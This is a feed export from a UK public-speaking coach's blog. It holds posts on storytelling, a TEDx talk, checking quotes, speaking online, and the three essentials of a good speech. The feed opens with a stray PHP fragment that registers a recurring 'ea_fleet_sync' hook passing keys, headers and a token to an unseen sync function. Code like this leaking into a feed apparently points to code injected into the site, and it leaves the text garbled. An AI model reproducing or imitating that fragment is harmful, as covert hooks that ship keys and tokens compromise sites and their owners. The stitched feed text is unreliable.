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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Standout speaking Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/standout-speaking/ Public speaking Tue, 25 Jun 2024 20:36:10 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Storytelling is always there for you https://www.nowyouretalking.co.uk/2024/06/25/storytelling-is-always-there-for-you/ Tue, 25 Jun 2024 17:19:34 +0000 https://www.nowyouretalking.co.uk/?p=1605 Storytelling is always there for you and essential to standout speaking that is engaging, memorable and makes a difference. People often tell me that storytelling isn’t for them because they don’t have any stories to tell. And that simply isn’t…

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]]> Storytelling is always there for you and essential to standout speaking that is engaging, memorable and makes a difference.

People often tell me that storytelling isn’t for them because they don’t have any stories to tell. And that simply isn’t true. Our stories are everywhere, all around us. We just need to spot their relevance.

On Friday, I went to the races. A delightful day at Royal Ascot, horses, fascinators and friends.

Royal Ascot race course

I’m a big believer that betting a small amount of money on every race spices up the experience. But I don’t know much about the world of horse racing.

I can probably name the odd trainer or jockey. I can name some past winners. But I’m certainly no pundit. So, how do I choose which horses to back? Trainers and jockeys might feature. Colour of a jockey’s hat might feature. But mostly it’s the stories the horses’ names conjure up in my mind.

Here’s a canter through some of the storytelling behind the horses I backed that day at the races.

Opera Singer

I do enjoy going to the opera from time to time. But opera particularly reminds me of my mum. Her favourite was Puccini’s La Boheme. I can tell many stories about travelling around the world and going to this opera in her memory.

It came second. Sadly, I’d only backed it to win. Worse was yet to come. In the next race, Soprano appeared on the race card. I ignored it after the poor performance of Opera Singer. Shame on me. Stick to your guns I told myself as Soprano led the field across the finishing line.

Theory of Tides

I’ve been doing a Life Writing course with Faber & Faber and am currently reading a book called ‘The Tidal Year’ by Freya Bromley. A match made in heaven I thought. Apparently not. Nonetheless, I’m loving the book and now I have new material for my storytelling treasure trove that connects a writing course with a day at the races. I can certainly see how an immersive experience like Ascot could show up in a story one day.

Gushing Gold

Drawn by its enriching alliterative name, I almost won over £300!

Language matters and is dear to my heart so its importance will always feature in how I craft a story

Hard to Resist

I’d like to say that’s me, but I would never presume. I can get very passionate about things and perhaps find them hard to resist; just like the name of this horse.

While the irresistible isn’t always a winner, I can’t say I have any lasting regrets and they all certainly add to life’s rich tapestry and make us who we are.

Flight of Fancy

A good place to start when we’re building our storytelling treasure trove. Our imaginations might go a bit too far, but they help us get started and produce material we can later edit to make the point we need to make in a talk or presentation.

Matters Most

What matters most to you? Always a great source of stories you can share in your speeches. You can use it to demonstrate your values, explore obstacles that can get in our way, perhaps even determine the subject of your next TEDxTalk 😊.

In the same race, No Half Measures came third. Oops, I’ve always thrown myself heart and soul into whatever I do. Should have listened more carefully to the voice in my head going ‘That’s you, Lyn!’

Inisherin

I completely blew it. I kept mentioning what a fabulous film The Banshees of Inisherin was and then failed to put my money where my mouth was. It romped home!

If something gives you a good feeling, back your instincts.

Storytelling makes a difference

I can’t say that a story that goes with the name of a horse guarantees success – though I’d have won more if I’d stuck more closely to my stories.

But I can say that your real stories are at the heart of an engaging and memorable talk or presentation for your audience and for you as the speaker.

A day at the races and other life experiences offer many a relevant story to stash in your storytelling treasure trove and use to illustrate your point next time you’re in front of an audience.

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]]> TED says – 5 elements of standout talks https://www.nowyouretalking.co.uk/2024/01/08/ted-says-5-elements-of-standout-talks/ Mon, 08 Jan 2024 09:00:13 +0000 https://www.nowyouretalking.co.uk/?p=1584 TED says that standout talks happen when good preparation meets confident delivery and connection to bring us ideas worth spreading. Giving a TEDx Talk has long been an ambition of mine and I was ready to put in the work…

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]]> TED says that standout talks happen when good preparation meets confident delivery and connection to bring us ideas worth spreading.

Giving a TEDx Talk has long been an ambition of mine and I was ready to put in the work and deliver my idea worth spreading.

What I hadn’t realised was how challenging the experience would be and the learnings I would derive.

TED says is what Lyn Roseaman learnt giving her TEDxTalk at TEDxLewisham.

Here are my five things TED shows us.

TED says 1 – Find your TED idea worth spreading

TED talks are no different from any talk or presentation in that they all need a clear message, an idea worth spreading, that the audience will value; a message that will effect change in what they think, feel and do in relation to the subject.

Without this clarity, it’s hard to assemble the right content so that it delivers a clear and memorable message.

If you can’t sum up your message in a few words, it almost certainly needs more thought. And if YOU can’t sum up your message in a few words, your audience has no chance.

The message of my TEDx Talk was that loneliness ruins lives and we all have a responsibility to try and smash the loneliness pandemic. I embedded this message – the problem and the solution – in a memorable anchor phrase, ‘Loneliness shatters. Community matters.’

Please enjoy and comment on my TEDx Talk, ‘Reach out and smash the loneliness pandemic’.

TED says 2 – Better together

Nothing thrills me more than teamwork, so why treat a TEDx Talk any differently?

I made myself a list of people whose advice I cherish, both as friends and speakers. Then I approached each one to see if they’d like to help. Some of us met on Zoom, some of us met in person for dinner or coffee, some showed up on the day to watch the speech live.

We brainstormed ideas, evolved a speech and shared feedback to craft and hone my talk.

And the most wonderful thing for me was when everyone who helped expressed an interest in staying involved beyond an initial meeting. Their continuous help and support was inspirational.

So, never be afraid to ask for help. Fresh perspectives and ideas are always useful, along with a healthy dose of sense checking, feedback and encouragement. TED shows us that we are definitely better together.

TED says 3 – Make your practice real

It’s too easy to practise a talk in front of a mirror or record and playback, whatever your preference. But the important thing is to create a sense of reality that will ramp up the nerves of being in front of an audience and give you a better idea of how everything is working for you.

In front of a mirror, I was great! Word perfect. As soon as I went in front of people, whether in a Zoom meeting, trying it out in a café or delivering at a TEDxLewisham dress rehearsal, I fell apart. At one such event, my knees were shaking so much, I thought I was going to fall over. Every time, I would suddenly lose my way and forget what I wanted to say.

Time to remember that preparation is about internalising, not memorising, a speech. Reminding myself of my speech route map, I was liberated from my script and free to read the room, interact with my audience and sound relaxed, natural and conversational.

TED says 4 – Unpick the nerves

From an anxiety point of view, giving a TEDx Talk was one of the hardest things I’ve ever done. As an experienced speaker, I was a bit shocked by my reactions and wanted to understand better what was happening to me.

The two main negative voices in my head that are always likely to give me a hard time are the “perfectionist” and the “hyper-achiever”. And I was feeding them both.

In my capacity of public speaking coach, I think I gave too much weight to the TEDx opportunity and the importance in my head of doing a good job. My hyper-achiever was out with a vengeance, with an internal monologue that repeatedly told me, ‘If you mess up, what does it say about you as a coach?’

TED was my dream and everything was unravelling, but I wasn’t giving in that easily! I had to find a way to enjoy my moment on the TEDx “red dot”.

TED says 5 – Enjoy the moment

On the day, I was surrounded by fellow speakers and lovely friends. The mutual support and encouragement were phenomenal.

As I took to the stage, wrapped in their warm and positive vibes, I reminded myself that I had a speech I was proud of , with a relevant and relatable message.

I looked around the audience, raised my hand and began…

‘Hands up if you’ve ever felt lonely’. Up went a strong show of hands and we were off… speaker and audience together. We enjoyed sharing relatable experiences and I thoroughly enjoyed sharing my stories.

TED shows us that to bring a speech or presentation to life in an engaging and memorable way needs a clear idea worth spreading, preparation, confidence and, above all else, connection with your audience.

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]]> Beware the quote https://www.nowyouretalking.co.uk/2023/09/10/beware-the-quote/ Sun, 10 Sep 2023 08:55:48 +0000 https://www.nowyouretalking.co.uk/?p=1566 Beware the quote. Our favourite social media platforms are awash with them. I can think of two big reasons to be careful with quotes: 1.  They can feel really repetitive and clichéd as the same thoughts appear over and over…

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]]> Beware the quote. Our favourite social media platforms are awash with them.

Quote from Dorothy Sayers about how quotes save you from having to have original thoughts

I can think of two big reasons to be careful with quotes:

1.  They can feel really repetitive and clichéd as the same thoughts appear over and over again.

2.  Quotes need checking. Misattribution is common.

For instance, Maya Angelou is often credited with this quote:

‘They may forget what you said, but they will never forget how you made them feel.’

It seems the actual author was Carl W Buehner. Beware the quote source.

Quote Investigator is a good online place to start checking quotes, especially those you find on the Internet rather than read yourself in an original book.

In my recent TEDxTalk, the early drafts ended with this quote:

‘Never doubt that a small group of thoughtful, committed citizens can change the world. Indeed, it’s the only thing that ever has’ (Margaret Mead).

I eventually replaced Margaret Mead’s words with my own anchor phrase – ‘Loneliness shatters. Community matters’. It’s memorable and the audience joined me in the connection sweet spot by chorusing the last word of my talk with me.

If giving talks and presentations is an act of thought leadership and changing what people think, feel and do, then beware the quote.

Your original thoughts and words have greater sincerity and power to make a difference than trotting out other people’s quotes we’ve probably heard before.

Thanks to The Knowledge for the Dorothy Sayers quote.

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]]> Have you got the online mindset? https://www.nowyouretalking.co.uk/2021/06/28/online-mindset/ Mon, 28 Jun 2021 11:11:40 +0000 https://www.nowyouretalking.co.uk/?p=1414 The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be…

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]]> The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be heard online.

Top pitfalls in online talks and presentations include insufficient energy, poor eye contact, lack of clear relevance, monotonous voice, poorly told or no stories, confusing message and structure, and hiding behind slides/PowerPoints.

But what is the online mindset and how do we get it and avoid these pitfalls?

1. You’re in close up and everyone has a front-row seat

Your camera and mic can see and hear everything, but is it what you want your audience in the front row to see and hear?

Before joining a meeting with camera/video on, check:

  • You’re well lit, so your audience can see your face and eyes as they are where we find trust and sincerity
  • You’ve got external and intrusive noise under control
  • You look the part for your close up
  • You’ve decluttered your surroundings, so there’s nothing to divert attention

2. Your audience is home alone

People in a virtual audience often feel left out or alone, even when there are hundreds of people in the same meeting. We need to help them feel involved. Your body language is a good place to start:

  • A warm and genuine smile communicates a relaxed and friendly you
  • Adopt a confident posture that says I’m comfortable and delighted to be here
  • Bring big energy, bigger than you would in the room, so that you can reach into your audience’s home. Dial up vocal interest and passion for your subject to help draw people towards you
  • Steady and direct eye contact builds trust, but it’s hard online because you have to talk to your camera lens, not the faces on your screen

And then draw them in further by creating opportunities to interact through the chat, reactions, breakouts, whiteboards, Q&A, etc. One-way communication only adds to the sense of being home alone.

3. Just because you can see your audience, it doesn’t mean they’re listening

Online audiences show up, physically, thinking ‘What’s In It For Me?’ If you don’t pique their curiosity, their minds will soon drift to their email, Instagram and who knows what else.

We need to be relevant and quickly give our audience a reason to listen. It’s no coincidence that most TV programmes nowadays start with a dramatic happening and when they’ve hooked us in, they roll the credits. Same with your talks and presentations. In most cases, you can save thank you and event protocols until after your opening remarks.

Online, we’re impatient. You’ve got just seconds to grab someone’s attention and demonstrate you have something relevant that they’ll value:

  • Know your audience so you can open with something that matters to them
  • Deliver a clear message that’s new and relevant, for right now
  • Make things easy for them. Less is more online, so strip back your content to the ‘must-have’ information to support your message, and use a clear and easy-to-follow structure

4. It’s just you and the person in the front row

Online, you lose the collective response of an audience being together in the same room as you. Now, it’s just you and your one-to-one connection with each individual member of your audience in their front-row seat.

To achieve connection, we need to be relatable, human to human. The best way we can achieve this is through the stories we tell. Ideally, they:

  • Are relevant to the subject of your talk
  • Draw on your own, real-life experiences
  • Have presence by being told in the here and now, with energy and enthusiasm
  • Are full of dialogue that engages all five senses, delivering energy and presence that narrative can’t achieve
  • Are appropriately edited to make sense and be memorable to an audience hearing them for the first time

And your newfound friend in the front row will help you read the room. Glance and gauge the energy and engagement of a few people and also factor in how you’re feeling, rather than trying to read the reactions of every individual on your screen.

Giving talks and presentations is your opportunity to persuade and inspire, to keep yourself and your organisation visible, and to pay it forward, building our collective knowledge by sharing ideas.

Recognising the online mindset and its impact on what you say and how you say it will make your talks stand out and impact your key target audiences.

First published as guest blog by Comms Rebel

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]]> Speak up and make an impact https://www.nowyouretalking.co.uk/2020/05/17/speak-up-essentials-of-a-good-speech/ Sun, 17 May 2020 16:47:46 +0000 https://www.nowyouretalking.co.uk/?p=1051 “There are three essentials of a good speech or presentation – making a connection, having a message that drives change and delivering with confidence.” Now more than ever, being able to speak and present with impact is a fundamental life…

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]]> “There are three essentials of a good speech or presentation
– making a connection, having a message that drives change
and delivering with confidence.”

Now more than ever, being able to speak and present with impact is a fundamental life skill. It’s high on employers’ wish lists; you need it for meetings, networking, pitches and presentations, conference talks and keynotes. Speaking benefits far outweigh the costs, yet many of us turn down speaking opportunities rather than face the challenge and harness the three essentials of a good speech or presentation.

Why speaking is a good idea

Even before the advent of social media, speaking at conferences was part of my strategy for developing the Leisure, Travel and Tourism business area at MORI. And it worked, communicating expertise to large numbers of potential clients in the UK and overseas. The resulting papers provided impactful PR material and raised my personal and research credentials as a go-to sector specialist.

It’s no coincidence that the research industry now has, for example, AQR Young Disruptors, MRS &more and new speaker track at IIeX.

New research among speakers in ‘Now You’re Talking! Take your speeches, talks and presentations to a wider audience and a bigger stage’ sheds light on how we lose out when we shy away from speaking, and the opportunities it can bring to us as individuals, to our businesses and in terms of our collective research knowledge.

First, speaking at events raises your personal profile, especially on social media, showcases who you are and your ideas. It helps build your confidence, influence and reputation which, in turn, attracts opportunities and helps your career.

Second, speaking is also good for your organisation’s credibility and presence, and can bring new business derived from your authority as a speaker of value. Connecting with people who have listened to your conference talk is a less intimidating and warmer approach to new business relationships than a commercial pitch or networking.

Third, speaking strengthens our collective thinking and knowledge. Nowadays, we all have a voice and a channel for sharing our thoughts and opinions, though very little is new and often poorly curated. As speakers, we have a responsibility to deliver quality material of value to an audience that also drives forward ideas and thinking.

Being a good speaker is a real asset. But what makes a good speech and how can you build your own personal toolkit for giving one? The Now You’re Talking Speaker Survey reveals three essentials of a good speech – Connection, a message that drives Change and Confidence – the 3Cs.

Connection

If you can’t connect with your audience, you might as well be talking to yourself. Connection is not only about being likable – the smile, good eye contact, friendly conversational style, etc – but also about being relevant. And, with today’s notoriously short attention spans, you need to gain your audience’s attention and interest fast.

Picture yourself sitting in an audience. You’ve set aside the time, maybe even spent money to be there. You’re wondering ‘What’s in it for me?’ As a speaker, it’s your job to answer that question. To do that, you need to ‘deep research’ your audience. It’s not just about their name and job title. Depending on whether you’re talking to a larger, conference-style audience or debriefing a project team, key questions might cover the goals of the event, other speakers, audience profile, what they do/know/expect/how they talk and what do they most want from you.

The more you know about your audience, the stronger your ability to connect with them and influence their thinking and behaviour on their terms, ie answer their ‘What’s in it for me’ question.

And it’s not just about the content of your speech. Knowing your audience will also give you strong pointers about delivery – whether or not you need slides and how many, relevant stories, appropriate levels of energy, vocal variety, body language and so on.

A message that drives Change

Speaking is a privilege, an opportunity to share your knowledge in a way that positively impacts others. There is no point in speaking if you are only going to tell people what they already know. Having researched your audience, you will have a good idea of what they’ll value.

All too often we confuse audiences because we grab our data and start making slides without even thinking about our message and its value to our listeners.

Instead, try starting at the end. What do you want your audience to think, feel or do differently after they’ve heard your talk or presentation? What is the single most important message you need them to take away? Jot it down in large letters in fewer than ten words and keep it visible. Any content you try to include that doesn’t support your message doesn’t belong in this particular talk or presentation.

Confidence

“Confident speakers are frequent speakers,
so take every opportunity to speak up”

Confidence is one of the three essentials because it is part of your authority and credibility as a speaker. If you don’t feel confident in what you have to say, then why should your audience? When audiences sense your fear, they will often be more concerned about your wellbeing than about what you’re saying. Confidence allows your listeners to relax and engage with what you have to say; your message, not how you’re feeling.

Confident speakers are frequent speakers, so take every opportunity to speak up, be it to a small group of colleagues, in a meeting, on the phone, in a pitch or presentation. Get comfortable with speaking and use the opportunity to practise different techniques, eg voice projection, storytelling, opening a speech with impact, etc. Invite people to give you specific feedback on what they liked and any improvements they would welcome.

Building your speaker’s treasure trove

Your biggest ally as a speaker is you – your authentic self, your personal stories and experiences, your ideas, your style of speaking, your gestures and facial expressions. They are all uniquely yours and can help you express your vision in a way that is fresh and stands out. Here are some tips for building your treasure trove of ideas and techniques:

  • Keep a special place where you capture your ideas for speeches – phone, electronic notes, recorder, etc. The important thing is to capture the thought, because otherwise it will get lost in the busyness of your day.
  • Keep abreast of reliable sources of ideas, including Blinkist, quality publications, industry journals, TED Talks, etc. These may also give you some useful statistics or quotes for an attention-grabbing opening to a speech or talk.
  • Be aware of how you normally speak. Your tone of voice, speaking speed, volume will change to reflect different words and emotions. These will form the basis of your vocal styling in front of an audience.
  • Similarly, be mindful of your natural facial expressions, hand gestures and posture. They speak the truth. In the case where your non-verbal language and your words are incongruent, it’s the non-verbal communication people will believe.
  • Take note of the things you say that make people laugh. For most of us, this gentle, personal and often self-deprecating humour is far more powerful than stand-up-style jokes.
  • Practise different aspects of speaking at every opportunity.

Whether you’re an experienced researcher or at the beginning of your career, public speaking is a very good idea for you, your business and the industry’s collective knowledge. Embrace the three essentials of a good speech and finesse how you take your ideas to a bigger stage.

Originally published in MRS Impact Issue 29 April 2020

 

 

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